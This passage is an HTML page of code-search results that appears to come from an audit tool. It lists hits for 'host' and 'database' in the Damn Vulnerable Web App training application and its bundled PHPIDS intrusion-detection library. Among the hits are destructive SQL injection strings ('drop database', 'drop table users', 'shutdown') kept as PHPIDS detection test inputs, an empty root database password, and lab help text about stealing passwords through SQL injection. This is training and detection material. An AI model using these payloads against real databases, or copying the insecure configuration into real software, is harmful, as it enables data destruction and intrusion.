class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>23- <h2> WARNING! </h2> 24- 25: <p>Damn Vulnerable Web App is damn vulnerable! Do not upload it to your <span class='match_highlight'>host</span>ing provider's public html folder or any internet facing web server as it will be compromised. We recommend downloading and installing ".dvwaExternalLinkUrlGet( 'http://www.apachefriends.org/en/xampp.html','XAMPP' )." onto a local machine inside your LAN which is used solely for testing.</p> 26- 27- <h2>Disclaimer</h2> 28-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./config/config.inc.php</span>:<span class='line_number'>4</span> <span class='match_count'>(2/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-# If you are having problems connecting to the MySQL database and all of the variables below are correct 4:# try changing the 'db_server' variable from local<span class='match_highlight'>host</span> to 127.0.0.1. Fixes a problem due to sockets. 5-# Thanks to digininja for the fix. 6- 7-# Database management system to use</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./config/config.inc.php</span>:<span class='line_number'>15</span> <span class='match_count'>(3/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-# Database variables 13- 14-$_DVWA = array(); 15:$_DVWA[ 'db_server' ] = 'local<span class='match_highlight'>host</span>'; 16-$_DVWA[ 'db_database' ] = 'dvwa'; 17-$_DVWA[ 'db_user' ] = 'root'; 18-$_DVWA[ 'db_password' ] = '';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1325</span> <span class='match_count'>(4/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1322- $exploits[] = "select *something* from the menu"; 1323- $exploits[] = '<![CDATA[:??]]>'; 1324- $exploits[] = 'website_link => /app/search?op=search;keywords=peter%20testcase;'; 1325: $exploits[] = '<xjxobj><e><k>insert</k><v>insert</v></e><e><k>errorh</k><v>error</v></e><e><k><span class='match_highlight'>host</span>name</k><v>ab</v></e><e><k>ip</k><v>10.2.2.22</v></e><e><k>asset</k><v>2</v></e><e><k>thresholdc</k><v>30</v></e><e><k>thresholda</k><v>30</v></e><e><k>rrd_profile</k><v></v></e><e><k>nat</k><v></v></e><e><k>nsens</k><v>1</v></e><e><k>os</k><v>Unknown</v></e><e><k>mac</k><v></v></e><e><k>macvendor</k><v></v></e><e><k>descr</k><v><![CDATA[&]]></v></e></xjxobj>'; 1326- $exploits[] = '"hi" said the mouse to the cat and \'showed off\' her options'; 1327- $exploits[] = 'eZtwEI9v7nI1mV4Baw502qOhmGZ6WJ0ULN1ufGmwN5j+k3L6MaI0Hv4+RlOo42rC0KfrwUUm5zXOfy9Gka63m02fdsSp52nhK0Jsniw2UgeedUvn0SXfNQc/z13/6mVkcv7uVN63o5J8xzK4inQ1raknqYEwBHvBI8WGyJ0WKBMZQ26Nakm963jRb18Rzv6hz1nlf9cAOH49EMiD4vzd1g=='; 1328- $exploits[] = '"European Business School (ebs)"';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Memcached.php</span>:<span class='line_number'>202</span> <span class='match_count'>(5/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>199- private function _connect() 200- { 201- 202: if ($this->config['<span class='match_highlight'>host</span>'] && $this->config['port']) { 203- // establish the memcache connection 204- $this->memcache = new Memcache; 205: $this->memcache->pconnect($this->config['<span class='match_highlight'>host</span>'], 206- $this->config['port']); 207- $this->path = $this->config['tmp_path']; 208-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIParser.php</span>:<span class='line_number'>58</span> <span class='match_count'>(6/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>55- $matches = array(); 56- preg_match($r_authority, $authority, $matches); 57- $userinfo = !empty($matches[1]) ? $matches[2] : null; 58: $<span class='match_highlight'>host</span> = !empty($matches[3]) ? $matches[3] : ''; 59- $port = !empty($matches[4]) ? (int) $matches[5] : null; 60- } else { 61: $port = $<span class='match_highlight'>host</span> = $userinfo = null; 62- } 63- 64- return new HTMLPurifier_URI( 65: $scheme, $userinfo, $<span class='match_highlight'>host</span>, $port, $path, $query, $fragment); 66- } 67- 68-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIDefinition.php</span>:<span class='line_number'>17</span> <span class='match_count'>(7/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>14- public $base; 15- 16- /** 17: * String <span class='match_highlight'>host</span> to consider "home" base, derived off of $base 18- */ 19: public $<span class='match_highlight'>host</span>; 20- 21- /** 22- * Name of default scheme based on %URI.DefaultScheme and %URI.Base</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIDefinition.php</span>:<span class='line_number'>64</span> <span class='match_count'>(8/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>61- } 62- 63- protected function setupMemberVariables($config) { 64: $this-><span class='match_highlight'>host</span> = $config->get('URI', 'Host'); 65- $base_uri = $config->get('URI', 'Base'); 66- if (!is_null($base_uri)) { 67- $parser = new HTMLPurifier_URIParser(); 68- $this->base = $parser->parse($base_uri); 69- $this->defaultScheme = $this->base->scheme; 70: if (is_null($this-><span class='match_highlight'>host</span>)) $this-><span class='match_highlight'>host</span> = $this->base-><span class='match_highlight'>host</span>; 71- } 72- if (is_null($this->defaultScheme)) $this->defaultScheme = $config->get('URI', 'DefaultScheme'); 73- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Host.php</span>:<span class='line_number'>4</span> <span class='match_count'>(9/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-/** 4: * Validates a <span class='match_highlight'>host</span> according to the IPv4, IPv6 and DNS (future) specifications. 5- */ 6-class HTMLPurifier_AttrDef_URI_Host extends HTMLPurifier_AttrDef 7-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Host.php</span>:<span class='line_number'>53</span> <span class='match_count'>(10/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>50- $domainlabel = "$an($and*$an)?"; 51- // toplabel = alpha | alpha *( alphanum | "-" ) alphanum 52- $toplabel = "$a($and*$an)?"; 53: // <span class='match_highlight'>host</span>name = *( domainlabel "." ) toplabel [ "." ] 54- $match = preg_match("/^($domainlabel\.)*$toplabel\.?$/i", $string); 55- if (!$match) return false; 56-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php</span>:<span class='line_number'>14</span> <span class='match_count'>(11/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11-class HTMLPurifier_URI 12-{ 13- 14: public $scheme, $userinfo, $<span class='match_highlight'>host</span>, $port, $path, $query, $fragment; 15- 16- /** 17- * @note Automatically normalizes scheme and port 18- */ 19: public function __construct($scheme, $userinfo, $<span class='match_highlight'>host</span>, $port, $path, $query, $fragment) { 20- $this->scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme); 21- $this->userinfo = $userinfo; 22: $this-><span class='match_highlight'>host</span> = $<span class='match_highlight'>host</span>; 23- $this->port = is_null($port) ? $port : (int) $port; 24- $this->path = $path; 25- $this->query = $query;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php</span>:<span class='line_number'>71</span> <span class='match_count'>(12/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>68- $chars_pchar = $chars_sub_delims . ':@'; 69- 70- // validate scheme (MUST BE FIRST!) 71: if (!is_null($this->scheme) && is_null($this-><span class='match_highlight'>host</span>)) { 72- $def = $config->getDefinition('URI'); 73- if ($def->defaultScheme === $this->scheme) { 74- $this->scheme = null; 75- } 76- } 77- 78: // validate <span class='match_highlight'>host</span> 79: if (!is_null($this-><span class='match_highlight'>host</span>)) { 80: $<span class='match_highlight'>host</span>_def = new HTMLPurifier_AttrDef_URI_Host(); 81: $this-><span class='match_highlight'>host</span> = $<span class='match_highlight'>host</span>_def->validate($this-><span class='match_highlight'>host</span>, $config, $context); 82: if ($this-><span class='match_highlight'>host</span> === false) $this-><span class='match_highlight'>host</span> = null; 83- } 84- 85- // validate username</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php</span>:<span class='line_number'>99</span> <span class='match_count'>(13/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>96- // validate path 97- $path_parts = array(); 98- $segments_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/'); 99: if (!is_null($this-><span class='match_highlight'>host</span>)) { 100- // path-abempty (hier and relative) 101- $this->path = $segments_encoder->encode($this->path); 102- } elseif ($this->path !== '' && $this->path[0] === '/') {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php</span>:<span class='line_number'>153</span> <span class='match_count'>(14/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>150- public function toString() { 151- // reconstruct authority 152- $authority = null; 153: if (!is_null($this-><span class='match_highlight'>host</span>)) { 154- $authority = ''; 155- if(!is_null($this->userinfo)) $authority .= $this->userinfo . '@'; 156: $authority .= $this-><span class='match_highlight'>host</span>; 157- if(!is_null($this->port)) $authority .= ':' . $this->port; 158- } 159-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/HostBlacklist.php</span>:<span class='line_number'>12</span> <span class='match_count'>(15/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>9- return true; 10- } 11- public function filter(&$uri, $config, $context) { 12: foreach($this->blacklist as $blacklisted_<span class='match_highlight'>host</span>_fragment) { 13: if (strpos($uri-><span class='match_highlight'>host</span>, $blacklisted_<span class='match_highlight'>host</span>_fragment) !== false) { 14- return false; 15- } 16- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/MakeAbsolute.php</span>:<span class='line_number'>28</span> <span class='match_count'>(16/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- if (is_null($this->base)) return true; // abort early 26- if ( 27- $uri->path === '' && is_null($uri->scheme) && 28: is_null($uri-><span class='match_highlight'>host</span>) && is_null($uri->query) && is_null($uri->fragment) 29- ) { 30- // reference to current document 31- $uri = clone $this->base;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/MakeAbsolute.php</span>:<span class='line_number'>36</span> <span class='match_count'>(17/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>33- } 34- if (!is_null($uri->scheme)) { 35- // absolute URI already: don't change 36: if (!is_null($uri-><span class='match_highlight'>host</span>)) return true; 37- $scheme_obj = $uri->getSchemeObj($config, $context); 38- if (!$scheme_obj) { 39- // scheme not recognized</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/MakeAbsolute.php</span>:<span class='line_number'>48</span> <span class='match_count'>(18/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>45- } 46- // special case: had a scheme but always is hierarchical and had no authority 47- } 48: if (!is_null($uri-><span class='match_highlight'>host</span>)) { 49- // network path, don't bother 50- return true; 51- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/MakeAbsolute.php</span>:<span class='line_number'>58</span> <span class='match_count'>(19/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>55- // relative path, needs more complicated processing 56- $stack = explode('/', $uri->path); 57- $new_stack = array_merge($this->basePathStack, $stack); 58: if ($new_stack[0] !== '' && !is_null($this->base-><span class='match_highlight'>host</span>)) { 59- array_unshift($new_stack, ''); 60- } 61- $new_stack = $this->_collapseStack($new_stack);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/MakeAbsolute.php</span>:<span class='line_number'>70</span> <span class='match_count'>(20/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>67- // re-combine 68- $uri->scheme = $this->base->scheme; 69- if (is_null($uri->userinfo)) $uri->userinfo = $this->base->userinfo; 70: if (is_null($uri-><span class='match_highlight'>host</span>)) $uri-><span class='match_highlight'>host</span> = $this->base-><span class='match_highlight'>host</span>; 71- if (is_null($uri->port)) $uri->port = $this->base->port; 72- return true; 73- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/Munge.php</span>:<span class='line_number'>23</span> <span class='match_count'>(21/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- 21- $scheme_obj = $uri->getSchemeObj($config, $context); 22- if (!$scheme_obj) return true; // ignore unknown schemes, maybe another postfilter did it 23: if (is_null($uri-><span class='match_highlight'>host</span>) || empty($scheme_obj->browsable)) { 24- return true; 25- } 26-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/Munge.php</span>:<span class='line_number'>32</span> <span class='match_count'>(22/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>29- 30- $new_uri = strtr($this->target, $this->replace); 31- $new_uri = $this->parser->parse($new_uri); 32: // don't redirect if the target <span class='match_highlight'>host</span> is the same as the 33: // starting <span class='match_highlight'>host</span> 34: if ($uri-><span class='match_highlight'>host</span> === $new_uri-><span class='match_highlight'>host</span>) return true; 35- $uri = $new_uri; // overwrite 36- return true; 37- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableExternal.php</span>:<span class='line_number'>8</span> <span class='match_count'>(23/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- public $name = 'DisableExternal'; 6- protected $ourHostParts = false; 7- public function prepare($config) { 8: $our_<span class='match_highlight'>host</span> = $config->getDefinition('URI')-><span class='match_highlight'>host</span>; 9: if ($our_<span class='match_highlight'>host</span> !== null) $this->ourHostParts = array_reverse(explode('.', $our_<span class='match_highlight'>host</span>)); 10- } 11- public function filter(&$uri, $config, $context) { 12: if (is_null($uri-><span class='match_highlight'>host</span>)) return true; 13- if ($this->ourHostParts === false) return false; 14: $<span class='match_highlight'>host</span>_parts = array_reverse(explode('.', $uri-><span class='match_highlight'>host</span>)); 15- foreach ($this->ourHostParts as $i => $x) { 16: if (!isset($<span class='match_highlight'>host</span>_parts[$i])) return false; 17: if ($<span class='match_highlight'>host</span>_parts[$i] != $this->ourHostParts[$i]) return false; 18- } 19- return true; 20- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/mailto.php</span>:<span class='line_number'>19</span> <span class='match_count'>(24/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>16- public function validate(&$uri, $config, $context) { 17- parent::validate($uri, $config, $context); 18- $uri->userinfo = null; 19: $uri-><span class='match_highlight'>host</span> = null; 20- $uri->port = null; 21- // we need to validate path against RFC 2368's addr-spec 22- return true;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/news.php</span>:<span class='line_number'>13</span> <span class='match_count'>(25/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10- public function validate(&$uri, $config, $context) { 11- parent::validate($uri, $config, $context); 12- $uri->userinfo = null; 13: $uri-><span class='match_highlight'>host</span> = null; 14- $uri->port = null; 15- $uri->query = null; 16- // typecode check needed on path</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>547</span> <span class='match_count'>(26/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>544- 545- elseif ($DBMS == 'PGSQL') { 546- 547: $dbconn = pg_connect("<span class='match_highlight'>host</span>=".$_DVWA[ 'db_server' ]." dbname=".$_DVWA[ 'db_database' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ]) 548- or die( $DBMS_connError ); 549- 550- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>10</span> <span class='match_count'>(27/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7-*/ 8- 9-// Connect to server 10:if ( !@pg_connect("<span class='match_highlight'>host</span>=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ]) ) { 11- dvwaMessagePush( "Could not connect to the database - please check the config file." ); 12- dvwaPageReload(); 13-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>34</span> <span class='match_count'>(28/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- 32- 33-// Connect to server AND connect to the database 34:$dbconn = @pg_connect("<span class='match_highlight'>host</span>=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." dbname=".$_DVWA[ 'db_database' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ]); 35- 36- 37-// Create table 'users'</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>84</span> <span class='match_count'>(29/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>81- } 82- 83- elseif ($DBMS == 'PGSQL') { 84: $dbconn = @pg_connect("<span class='match_highlight'>host</span>=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." dbname=".$_DVWA[ 'db_database' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ]) 85- or die( $DBMS_connError ); 86- } 87-}</code></pre> </div> </div> </div> </div> <div class='signature_11e0eed8d3696c0a632f822df385ab3c signature_group_custom_strings signature_group'> <a name='s-11e0eed8d3696c0a632f822df385ab3c'></a> <h3> <code>database</code> <span class='signature_count'>(26)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","11e0eed8d3696c0a632f822df385ab3c")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./config/config.inc.php</span>:<span class='line_number'>3</span> <span class='match_count'>(1/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3:# If you are having problems connecting to the MySQL <span class='match_highlight'>database</span> and all of the variables below are correct 4-# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets. 5-# Thanks to digininja for the fix. 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./config/config.inc.php</span>:<span class='line_number'>16</span> <span class='match_count'>(2/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- 14-$_DVWA = array(); 15-$_DVWA[ 'db_server' ] = 'localhost'; 16:$_DVWA[ 'db_<span class='match_highlight'>database</span>' ] = 'dvwa'; 17-$_DVWA[ 'db_user' ] = 'root'; 18-$_DVWA[ 'db_password' ] = ''; 19-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/help/help.php</span>:<span class='line_number'>9</span> <span class='match_count'>(3/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <tr> 7- <td><div id="code"> 8- 9: <p>When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the <span class='match_highlight'>database</span> server complaining that the SQL Query's syntax is incorrect. 10- Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, 11- they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data 12- by asking a series of True and False questions through SQL statements.</p> 13- 14- <p>The 'id' variable within this PHP script is vulnerable to SQL injection.</p> 15- 16: <p>There are 5 users in the <span class='match_highlight'>database</span>, with id's from 1 to 5. Your mission... to steal passwords!</p> 17- 18- <p>If you have received a Magicquotes error, turn them off in php.ini.</p> 19-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/help/help.php</span>:<span class='line_number'>10</span> <span class='match_count'>(4/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- <td><div id="code"> 8- 9- <p>A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. 10: A successful SQL injection exploit can read sensitive data from the <span class='match_highlight'>database</span>, modify <span class='match_highlight'>database</span> data (Insert/Update/Delete), execute administration operations on the <span class='match_highlight'>database</span> 11- (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a 12- type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. </p> 13- 14- <p>The 'id' variable within this PHP script is vulnerable to SQL injection.</p> 15- 16: <p>There are 5 users in the <span class='match_highlight'>database</span>, with id's from 1 to 5. Your mission... to steal passwords!</p> 17- 18- <p>If you have received a Magicquotes error, turn them off in php.ini.</p> 19-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/help/help.php</span>:<span class='line_number'>17</span> <span class='match_count'>(5/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>14- Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with 15- that site. These scripts can even rewrite the content of the HTML page. </p> 16- 17: <p>The XSS payload is stored in the <span class='match_highlight'>database</span>. The XSS is permanent until the <span class='match_highlight'>database</span> is reset or the payload is manually deleted.</p> 18- 19- </div></td> 20- </tr></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>182</span> <span class='match_count'>(6/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>179- 180- /** 181- * This function writes an entry about the intrusion 182: * to the intrusion <span class='match_highlight'>database</span> 183- * 184- * @param array $results 185- * @return boolean</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>731</span> <span class='match_count'>(7/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>728- $exploits[] = "abc' = !0 != !!!'0"; 729- $exploits[] = "abc' = !+0 != !'0 "; 730- $exploits[] = "aa'=+'1"; 731: $exploits[] = "';if 1=1 drop <span class='match_highlight'>database</span> test-- -a"; 732- $exploits[] = "';if 1=1 drop table users-- -a"; 733- $exploits[] = "';if 1=1 shutdown-- -a"; 734- $exploits[] = "'; while 1=1 shutdown-- -a";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>40</span> <span class='match_count'>(8/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a 